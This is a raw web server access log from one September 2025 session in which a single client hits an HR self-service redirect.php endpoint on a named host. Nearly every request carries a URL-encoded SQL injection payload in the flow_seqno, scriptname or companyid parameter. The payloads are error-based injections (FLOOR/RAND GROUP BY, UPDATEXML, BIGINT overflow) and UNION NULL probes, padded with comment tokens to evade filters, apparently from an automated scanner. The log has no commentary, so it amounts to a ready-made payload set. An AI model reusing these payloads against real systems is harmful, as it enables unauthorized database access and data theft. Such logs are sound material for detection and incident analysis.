100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7330364c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38376f7a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x77344c65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3376497a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x77344c65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3376497a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5466726d%2C%28NULL%29%2C0x6c614972%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeXOZ%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5466726d%2C%28NULL%29%2C0x6c614972%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeXOZ%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x656e4158%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f38384d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FhsRq&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x656e4158%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f38384d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FhsRq&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x42554670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51587a73%29%2C5431%29%23%2F%2A%2A%2F6cY3&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x42554670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51587a73%29%2C5431%29%23%2F%2A%2A%2F6cY3&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x62413379%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c757568%29%2C5431%29%23%2F%2A%2A%2Ffigo&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x62413379%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c757568%29%2C5431%29%23%2F%2A%2A%2Ffigo&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6564596e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72426b51%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FEEfR%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65627159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x397a7467%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65627159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x397a7467%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x75314f71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f477167%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2F6nlS&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x75314f71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f477167%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2F6nlS&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a53386d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45355958%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2Fqjv9&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a53386d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45355958%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2Fqjv9&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x66594a4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x534c5041%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x66594a4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x534c5041%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71524e54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30347538%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71524e54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30347538%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x336c6a59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x574e316c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2Ftflc&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x336c6a59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x574e316c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2Ftflc&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51303767%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31766c30%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FZzXi&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5466726d%2C%28NULL%29%2C0x6c614972%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeXOZ%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a53386d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45355958%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2Fqjv9&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65627159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x397a7467%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x656e4158%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f38384d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FhsRq&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x42554670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51587a73%29%2C5431%29%23%2F%2A%2A%2F6cY3&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x62413379%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c757568%29%2C5431%29%23%2F%2A%2A%2Ffigo&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x75314f71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f477167%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2F6nlS&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x336c6a59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x574e316c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2Ftflc&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
